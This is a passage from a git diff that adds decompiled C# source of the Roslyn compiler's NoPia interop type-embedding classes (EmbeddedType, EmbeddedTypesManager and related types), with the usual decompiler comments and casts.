(IEqualityComparer)ReferenceEqualityComparer.Instance); + } + + protected override ITypeReference GetBaseClass(PEModuleBuilder moduleBuilder, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = base.UnderlyingNamedType.AdaptedNamedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + if ((object)baseTypeNoUseSiteDiagnostics == null) + { + return null; + } + return (ITypeReference)(object)moduleBuilder.Translate(baseTypeNoUseSiteDiagnostics, syntaxNodeOpt, diagnostics); + } + + protected override IEnumerable GetFieldsToEmit() + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetFieldsToEmit(); + } + + protected override IEnumerable GetMethodsToEmit() + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetMethodsToEmit(); + } + + protected override IEnumerable GetEventsToEmit() + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetEventsToEmit(); + } + + protected override IEnumerable GetPropertiesToEmit() + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetPropertiesToEmit(); + } + + protected override IEnumerable GetInterfaces(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetInterfacesToEmit().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + INamedTypeReference typeRef = moduleBeingBuilt.Translate(current, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + TypeWithAnnotations type = TypeWithAnnotations.Create(current); + yield return type.GetTypeRefWithAttributes(moduleBeingBuilt, base.UnderlyingNamedType.AdaptedNamedTypeSymbol, (ITypeReference)(object)typeRef); + } + } + + protected override TypeLayout? GetTypeLayoutIfStruct() + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (base.UnderlyingNamedType.AdaptedNamedTypeSymbol.IsStructType()) + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.Layout; + } + return null; + } + + protected override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetCustomAttributesToEmit(moduleBuilder); + } + + protected override CSharpAttributeData CreateTypeIdentifierAttribute(bool hasGuid, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + WellKnownMember method = (WellKnownMember)(hasGuid ? 93 : 94); + MethodSymbol wellKnownMethod = base.TypeManager.GetWellKnownMethod(method, syntaxNodeOpt, diagnostics); + if ((object)wellKnownMethod == null) + { + return null; + } + if (hasGuid) + { + return new SynthesizedAttributeData(wellKnownMethod, ImmutableArray.Empty, ImmutableArray>.Empty); + } + NamedTypeSymbol systemStringType = base.TypeManager.GetSystemStringType(syntaxNodeOpt, diagnostics); + if ((object)systemStringType != null) + { + string assemblyGuidString = base.TypeManager.GetAssemblyGuidString(base.UnderlyingNamedType.AdaptedNamedTypeSymbol.ContainingAssembly); + return new SynthesizedAttributeData(wellKnownMethod, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)systemStringType, (TypedConstantKind)1, (object)assemblyGuidString), new TypedConstant((ITypeSymbolInternal)(object)systemStringType, (TypedConstantKind)1, (object)((Symbol)base.UnderlyingNamedType.AdaptedNamedTypeSymbol).ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat))), ImmutableArray>.Empty); + } + return null; + } + + protected override void ReportMissingAttribute(AttributeDescription description, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + EmbeddedTypesManager.Error(diagnostics, ErrorCode.ERR_InteropTypeMissingAttribute, syntaxNodeOpt, base.UnderlyingNamedType.AdaptedNamedTypeSymbol, ((AttributeDescription)(ref description)).FullName); + } + + protected override void EmbedDefaultMembers(string defaultMember, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected I4, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = base.UnderlyingNamedType.AdaptedNamedTypeSymbol.GetMembers(defaultMember).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + switch (kind - 5) + { + case 1: + ((EmbeddedTypesManager)base.TypeManager).EmbedField(this, ((FieldSymbol)current).GetCciAdapter(), syntaxNodeOpt, diagnostics); + continue; + case 4: + ((EmbeddedTypesManager)base.TypeManager).EmbedMethod(this, ((MethodSymbol)current).GetCciAdapter(), syntaxNodeOpt, diagnostics); + continue; + case 0: + ((EmbeddedTypesManager)base.TypeManager).EmbedEvent(this, ((EventSymbol)current).GetCciAdapter(), syntaxNodeOpt, diagnostics, false); + continue; + case 2: + case 3: + continue; + } + if ((int)kind == 15) + { + ((EmbeddedTypesManager)base.TypeManager).EmbedProperty(this, ((PropertySymbol)current).GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypeParameter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypeParameter.cs new file mode 100644 index 0000000..1a26059 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypeParameter.cs @@ -0,0 +1,31 @@ +using System.Collections.Generic; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedTypeParameter : CommonEmbeddedTypeParameter +{ + protected override bool MustBeReferenceType => base.UnderlyingTypeParameter.AdaptedTypeParameterSymbol.HasReferenceTypeConstraint; + + protected override bool MustBeValueType => base.UnderlyingTypeParameter.AdaptedTypeParameterSymbol.HasValueTypeConstraint; + + protected override bool MustHaveDefaultConstructor => base.UnderlyingTypeParameter.AdaptedTypeParameterSymbol.HasConstructorConstraint; + + protected override string Name => base.UnderlyingTypeParameter.AdaptedTypeParameterSymbol.MetadataName; + + protected override ushort Index => (ushort)base.UnderlyingTypeParameter.AdaptedTypeParameterSymbol.Ordinal; + + public EmbeddedTypeParameter(EmbeddedMethod containingMethod, TypeParameterSymbol underlyingTypeParameter) + : base(containingMethod, underlyingTypeParameter) + { + } + + protected override IEnumerable GetConstraints(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return ((IGenericParameter)base.UnderlyingTypeParameter).GetConstraints(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypesManager.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypesManager.cs new file mode 100644 index 0000000..e118309 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit.NoPia/EmbeddedTypesManager.cs @@ -0,0 +1,458 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit.NoPia; + +internal sealed class EmbeddedTypesManager : EmbeddedTypesManager +{ + private readonly ConcurrentDictionary _assemblyGuidMap = new ConcurrentDictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private readonly ConcurrentDictionary _reportedSymbolsMap = new ConcurrentDictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private NamedTypeSymbol _lazySystemStringType = ErrorTypeSymbol.UnknownResultType; + + private readonly MethodSymbol[] _lazyWellKnownTypeMethods; + + public EmbeddedTypesManager(PEModuleBuilder moduleBeingBuilt) + : base(moduleBeingBuilt) + { + _lazyWellKnownTypeMethods = new MethodSymbol[506]; + for (int i = 0; i < _lazyWellKnownTypeMethods.Length; i++) + { + _lazyWellKnownTypeMethods[i] = ErrorMethodSymbol.UnknownMethod; + } + } + + public NamedTypeSymbol GetSystemStringType(SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if ((object)_lazySystemStringType == ErrorTypeSymbol.UnknownResultType) + { + NamedTypeSymbol namedTypeSymbol = ((PEModuleBuilder)base.ModuleBeingBuilt).Compilation.GetSpecialType((SpecialType)20); + UseSiteInfo useSiteInfo = namedTypeSymbol.GetUseSiteInfo(); + if (namedTypeSymbol.IsErrorType()) + { + namedTypeSymbol = null; + } + if (TypeSymbol.Equals(Interlocked.CompareExchange(ref _lazySystemStringType, namedTypeSymbol, ErrorTypeSymbol.UnknownResultType), ErrorTypeSymbol.UnknownResultType, (TypeCompareKind)0) && useSiteInfo.DiagnosticInfo != null) + { + Symbol.ReportUseSiteDiagnostic(useSiteInfo.DiagnosticInfo, diagnostics, (syntaxNodeOpt != null) ? syntaxNodeOpt.Location : NoLocation.Singleton); + } + } + return _lazySystemStringType; + } + + public MethodSymbol GetWellKnownMethod(WellKnownMember method, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return LazyGetWellKnownTypeMethod(ref _lazyWellKnownTypeMethods[method], method, syntaxNodeOpt, diagnostics); + } + + private MethodSymbol LazyGetWellKnownTypeMethod(ref MethodSymbol lazyMethod, WellKnownMember member, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + if ((object)lazyMethod == ErrorMethodSymbol.UnknownMethod) + { + UseSiteInfo useSiteInfo; + MethodSymbol value = (MethodSymbol)Binder.GetWellKnownTypeMember(((PEModuleBuilder)base.ModuleBeingBuilt).Compilation, member, out useSiteInfo); + DiagnosticInfo diagnosticInfo = useSiteInfo.DiagnosticInfo; + if (diagnosticInfo != null && (int)diagnosticInfo.Severity == 3) + { + value = null; + } + if (Interlocked.CompareExchange(ref lazyMethod, value, ErrorMethodSymbol.UnknownMethod) == ErrorMethodSymbol.UnknownMethod && useSiteInfo.DiagnosticInfo != null) + { + Symbol.ReportUseSiteDiagnostic(useSiteInfo.DiagnosticInfo, diagnostics, (syntaxNodeOpt != null) ? syntaxNodeOpt.Location : NoLocation.Singleton); + } + } + return lazyMethod; + } + + internal override int GetTargetAttributeSignatureIndex(Symbol underlyingSymbol, CSharpAttributeData attrData, AttributeDescription description) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return attrData.GetTargetAttributeSignatureIndex(underlyingSymbol.AdaptedSymbol, description); + } + + internal override CSharpAttributeData CreateSynthesizedAttribute(WellKnownMember constructor, CSharpAttributeData attrData, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol wellKnownMethod = GetWellKnownMethod(constructor, syntaxNodeOpt, diagnostics); + if ((object)wellKnownMethod == null) + { + return null; + } + if ((int)constructor != 81) + { + if ((int)constructor == 85) + { + return new SynthesizedAttributeData(wellKnownMethod, ImmutableArray.Create(((AttributeData)attrData).CommonConstructorArguments[0], ((AttributeData)attrData).CommonConstructorArguments[0]), ImmutableArray>.Empty); + } + return new SynthesizedAttributeData(wellKnownMethod, ((AttributeData)attrData).CommonConstructorArguments, ((AttributeData)attrData).CommonNamedArguments); + } + return new SynthesizedAttributeData(wellKnownMethod, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)wellKnownMethod.Parameters[0].Type, (TypedConstantKind)3, (object)wellKnownMethod.ContainingAssembly.GetSpecialType((SpecialType)1))), ImmutableArray>.Empty); + } + + internal string GetAssemblyGuidString(AssemblySymbol assembly) + { + if (_assemblyGuidMap.TryGetValue(assembly, out var value)) + { + return value; + } + assembly.GetGuidString(out value); + return _assemblyGuidMap.GetOrAdd(assembly, value); + } + + protected override void OnGetTypesCompleted(ImmutableArray types, DiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + EmbeddedType current = enumerator.Current; + _assemblyGuidMap.TryAdd(((CommonEmbeddedType)current).UnderlyingNamedType.AdaptedSymbol.ContainingAssembly, null); + } + foreach (AssemblySymbol item in base.ModuleBeingBuilt.GetReferencedAssembliesUsedSoFar()) + { + ((EmbeddedTypesManager)this).ReportIndirectReferencesToLinkedAssemblies(item, diagnostics); + } + } + + protected override void ReportNameCollisionBetweenEmbeddedTypes(EmbeddedType typeA, EmbeddedType typeB, DiagnosticBag diagnostics) + { + NamedTypeSymbol underlyingNamedType = ((CommonEmbeddedType)typeA).UnderlyingNamedType; + NamedTypeSymbol underlyingNamedType2 = ((CommonEmbeddedType)typeB).UnderlyingNamedType; + Error(diagnostics, ErrorCode.ERR_InteropTypesWithSameNameAndGuid, null, underlyingNamedType.AdaptedNamedTypeSymbol, underlyingNamedType.AdaptedSymbol.ContainingAssembly, underlyingNamedType2.AdaptedSymbol.ContainingAssembly); + } + + protected override void ReportNameCollisionWithAlreadyDeclaredType(EmbeddedType type, DiagnosticBag diagnostics) + { + NamedTypeSymbol underlyingNamedType = ((CommonEmbeddedType)type).UnderlyingNamedType; + Error(diagnostics, ErrorCode.ERR_LocalTypeNameClash, null, underlyingNamedType.AdaptedNamedTypeSymbol, underlyingNamedType.AdaptedSymbol.ContainingAssembly); + } + + internal override void ReportIndirectReferencesToLinkedAssemblies(AssemblySymbol a, DiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = a.Modules.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator2.MoveNext()) + { + AssemblySymbol current = enumerator2.Current; + if (!current.IsMissing && current.IsLinked && _assemblyGuidMap.ContainsKey(current)) + { + Error(diagnostics, ErrorCode.WRN_ReferencedAssemblyReferencesLinkedPIA, null, current, a); + } + } + } + } + + internal static bool IsValidEmbeddableType(NamedTypeSymbol namedType, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, EmbeddedTypesManager optTypeManager = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected I4, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Invalid comparison between Unknown and I4 + if ((int)namedType.SpecialType != 0 || namedType.IsErrorType() || !namedType.ContainingAssembly.IsLinked) + { + return false; + } + ErrorCode errorCode = ErrorCode.Unknown; + TypeKind typeKind = namedType.TypeKind; + switch (typeKind - 3) + { + default: + if ((int)typeKind == 10) + { + goto case 0; + } + goto case 1; + case 4: + { + ImmutableArray.Enumerator enumerator = namedType.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 11) + { + if (!current.IsAbstract) + { + errorCode = ErrorCode.ERR_DefaultInterfaceImplementationInNoPIAType; + break; + } + if (current.IsSealed) + { + errorCode = ErrorCode.ERR_ReAbstractionInNoPIAType; + break; + } + } + } + if (errorCode != ErrorCode.Unknown) + { + break; + } + goto case 0; + } + case 0: + case 2: + if ((object)namedType.ContainingType != null) + { + errorCode = ErrorCode.ERR_NoPIANestedType; + } + else if (namedType.IsGenericType) + { + errorCode = ErrorCode.ERR_GenericsUsedInNoPIAType; + } + break; + case 1: + case 3: + errorCode = ErrorCode.ERR_NewCoClassOnLink; + break; + } + if (errorCode != ErrorCode.Unknown) + { + ReportNotEmbeddableSymbol(errorCode, namedType, syntaxNodeOpt, diagnostics, optTypeManager); + return false; + } + return true; + } + + private static void ReportNotEmbeddableSymbol(ErrorCode error, Symbol symbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, EmbeddedTypesManager optTypeManager) + { + if (optTypeManager == null || optTypeManager._reportedSymbolsMap.TryAdd(symbol.OriginalDefinition, value: true)) + { + Error(diagnostics, error, syntaxNodeOpt, symbol.OriginalDefinition); + } + } + + internal static void Error(DiagnosticBag diagnostics, ErrorCode code, SyntaxNode syntaxOpt, params object[] args) + { + Error(diagnostics, syntaxOpt, (DiagnosticInfo)(object)new CSDiagnosticInfo(code, args)); + } + + private static void Error(DiagnosticBag diagnostics, SyntaxNode syntaxOpt, DiagnosticInfo info) + { + diagnostics.Add((Diagnostic)(object)new CSDiagnostic(info, (syntaxOpt == null) ? NoLocation.Singleton : syntaxOpt.Location)); + } + + internal INamedTypeReference EmbedTypeIfNeedTo(NamedTypeSymbol namedType, bool fromImplements, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + if (IsValidEmbeddableType(namedType, syntaxNodeOpt, diagnostics, this)) + { + return (INamedTypeReference)(object)EmbedType(namedType, fromImplements, syntaxNodeOpt, diagnostics); + } + return null; + } + + private EmbeddedType EmbedType(NamedTypeSymbol namedType, bool fromImplements, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol cciAdapter = namedType.GetCciAdapter(); + EmbeddedType embeddedType = new EmbeddedType(this, cciAdapter); + EmbeddedType orAdd = base.EmbeddedTypesMap.GetOrAdd(cciAdapter, embeddedType); + bool isInterface = namedType.IsInterface; + if (isInterface && fromImplements) + { + orAdd.EmbedAllMembersOfImplementedInterface(syntaxNodeOpt, diagnostics); + } + if (embeddedType != orAdd) + { + return orAdd; + } + ((ReferenceIndexerBase)new TypeReferenceIndexer(new EmitContext((CommonPEModuleBuilder)(object)base.ModuleBeingBuilt, syntaxNodeOpt, diagnostics, false, true))).VisitTypeDefinitionNoMembers((ITypeDefinition)(object)embeddedType); + if (!isInterface) + { + if ((int)namedType.TypeKind != 10) + { + _ = namedType.TypeKind; + _ = 5; + } + foreach (FieldSymbol item in namedType.GetFieldsToEmit()) + { + ((EmbeddedTypesManager)this).EmbedField(embeddedType, item.GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + foreach (MethodSymbol item2 in namedType.GetMethodsToEmit()) + { + if ((object)item2 != null) + { + ((EmbeddedTypesManager)this).EmbedMethod(embeddedType, item2.GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + } + } + return embeddedType; + } + + internal override EmbeddedField EmbedField(EmbeddedType type, FieldSymbol field, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + EmbeddedField embeddedField = new EmbeddedField(type, field); + EmbeddedField orAdd = base.EmbeddedFieldsMap.GetOrAdd(field, embeddedField); + if (embeddedField != orAdd) + { + return orAdd; + } + base.EmbedReferences((ITypeDefinitionMember)(object)embeddedField, syntaxNodeOpt, diagnostics); + TypeKind typeKind = field.AdaptedFieldSymbol.ContainingType.TypeKind; + if ((int)typeKind == 7 || (int)typeKind == 3 || ((int)typeKind == 10 && (field.AdaptedFieldSymbol.IsStatic || (int)field.AdaptedFieldSymbol.DeclaredAccessibility != 6))) + { + ReportNotEmbeddableSymbol(ErrorCode.ERR_InteropStructContainsMethods, field.AdaptedFieldSymbol.ContainingType, syntaxNodeOpt, diagnostics, this); + } + return embeddedField; + } + + internal override EmbeddedMethod EmbedMethod(EmbeddedType type, MethodSymbol method, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Invalid comparison between Unknown and I4 + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + EmbeddedMethod embeddedMethod = new EmbeddedMethod(type, method); + EmbeddedMethod orAdd = base.EmbeddedMethodsMap.GetOrAdd(method, embeddedMethod); + if (embeddedMethod != orAdd) + { + return orAdd; + } + base.EmbedReferences((ITypeDefinitionMember)(object)embeddedMethod, syntaxNodeOpt, diagnostics); + TypeKind typeKind = ((CommonEmbeddedType)type).UnderlyingNamedType.AdaptedNamedTypeSymbol.TypeKind; + if ((int)typeKind == 5 || (int)typeKind == 10) + { + ReportNotEmbeddableSymbol(ErrorCode.ERR_InteropStructContainsMethods, ((CommonEmbeddedType)type).UnderlyingNamedType.AdaptedNamedTypeSymbol, syntaxNodeOpt, diagnostics, this); + } + else if (Extensions.HasBody((IMethodDefinition)(object)embeddedMethod)) + { + Error(diagnostics, ErrorCode.ERR_InteropMethodWithBody, syntaxNodeOpt, method.AdaptedMethodSymbol.ToDisplayString(SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + Symbol associatedSymbol = method.AdaptedMethodSymbol.AssociatedSymbol; + if ((object)associatedSymbol != null) + { + SymbolKind kind = associatedSymbol.Kind; + if ((int)kind != 5) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)associatedSymbol.Kind); + } + ((EmbeddedTypesManager)this).EmbedProperty(type, ((PropertySymbol)associatedSymbol).GetCciAdapter(), syntaxNodeOpt, diagnostics); + } + else + { + ((EmbeddedTypesManager)this).EmbedEvent(type, ((EventSymbol)associatedSymbol).GetCciAdapter(), syntaxNodeOpt, diagnostics, false); + } + } + return embeddedMethod; + } + + internal override EmbeddedProperty EmbedProperty(EmbeddedType type, PropertySymbol property, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + MethodSymbol methodSymbol = property.AdaptedPropertySymbol.GetMethod?.GetCciAdapter(); + MethodSymbol methodSymbol2 = property.AdaptedPropertySymbol.SetMethod?.GetCciAdapter(); + EmbeddedMethod getter = (((object)methodSymbol != null) ? ((EmbeddedTypesManager)this).EmbedMethod(type, methodSymbol, syntaxNodeOpt, diagnostics) : null); + EmbeddedMethod setter = (((object)methodSymbol2 != null) ? ((EmbeddedTypesManager)this).EmbedMethod(type, methodSymbol2, syntaxNodeOpt, diagnostics) : null); + EmbeddedProperty embeddedProperty = new EmbeddedProperty(property, getter, setter); + EmbeddedProperty orAdd = base.EmbeddedPropertiesMap.GetOrAdd(property, embeddedProperty); + if (embeddedProperty != orAdd) + { + return orAdd; + } + base.EmbedReferences((ITypeDefinitionMember)(object)embeddedProperty, syntaxNodeOpt, diagnostics); + return embeddedProperty; + } + + internal override EmbeddedEvent EmbedEvent(EmbeddedType type, EventSymbol @event, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding) + { + MethodSymbol methodSymbol = @event.AdaptedEventSymbol.AddMethod?.GetCciAdapter(); + MethodSymbol methodSymbol2 = @event.AdaptedEventSymbol.RemoveMethod?.GetCciAdapter(); + EmbeddedMethod adder = (((object)methodSymbol != null) ? ((EmbeddedTypesManager)this).EmbedMethod(type, methodSymbol, syntaxNodeOpt, diagnostics) : null); + EmbeddedMethod remover = (((object)methodSymbol2 != null) ? ((EmbeddedTypesManager)this).EmbedMethod(type, methodSymbol2, syntaxNodeOpt, diagnostics) : null); + EmbeddedEvent embeddedEvent = new EmbeddedEvent(@event, adder, remover); + EmbeddedEvent orAdd = base.EmbeddedEventsMap.GetOrAdd(@event, embeddedEvent); + if (embeddedEvent != orAdd) + { + if (isUsedForComAwareEventBinding) + { + ((CommonEmbeddedEvent)orAdd).EmbedCorrespondingComEventInterfaceMethod(syntaxNodeOpt, diagnostics, isUsedForComAwareEventBinding); + } + return orAdd; + } + base.EmbedReferences((ITypeDefinitionMember)(object)embeddedEvent, syntaxNodeOpt, diagnostics); + ((CommonEmbeddedEvent)embeddedEvent).EmbedCorrespondingComEventInterfaceMethod(syntaxNodeOpt, diagnostics, isUsedForComAwareEventBinding); + return embeddedEvent; + } + + protected override EmbeddedType GetEmbeddedTypeForMember(Symbol member, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + if (member.AdaptedSymbol.OriginalDefinition is SynthesizedGlobalMethodSymbol) + { + return null; + } + NamedTypeSymbol containingType = member.AdaptedSymbol.ContainingType; + if (IsValidEmbeddableType(containingType, syntaxNodeOpt, diagnostics, this)) + { + return EmbedType(containingType, fromImplements: false, syntaxNodeOpt, diagnostics); + } + return null; + } + + internal static ImmutableArray EmbedParameters(CommonEmbeddedMember containingPropertyOrMethod, ImmutableArray underlyingParameters) + { + return ImmutableArrayExtensions.SelectAsArray, EmbeddedParameter>(underlyingParameters, (Func, EmbeddedParameter>)((ParameterSymbol p, CommonEmbeddedMember c) => new EmbeddedParameter(c, p.GetCciAdapter())), containingPropertyOrMethod); + } + + protected override CSharpAttributeData CreateCompilerGeneratedAttribute() + { + return ((PEModuleBuilder)base.ModuleBeingBuilt).Compilation.TrySynthesizeAttribute((WellKnownMember)112); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ArgListParameterTypeInformation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ArgListParameterTypeInformation.cs new file mode 100644 index 0000000..caf1497 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/ArgListParameterTypeInformation.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class ArgListParameterTypeInformation : IParameterTypeInformation, IParameterListEntry +{ + private readonly ushort _ordinal; + + private readonly bool _isByRef; + + private readonly ITypeReference _type; + + ImmutableArray IParameterTypeInformation.CustomModifiers => ImmutableArray.Empty; + + bool IParameterTypeInformation.IsByReference => _isByRef; + + ImmutableArray IParameterTypeInformation.RefCustomModifiers => ImmutableArray.Empty; + + ushort IParameterListEntry.Index => _ordinal; + + public ArgListParameterTypeInformation(int ordinal, bool isByRef, ITypeReference type) + { + _ordinal = (ushort)ordinal; + _isByRef = isByRef; + _type = type; + } + + ITypeReference IParameterTypeInformation.GetType(EmitContext context) + { + return _type; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ParameterTypeInformation.cs", 123); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/ParameterTypeInformation.cs", 129); + } +} diff --git 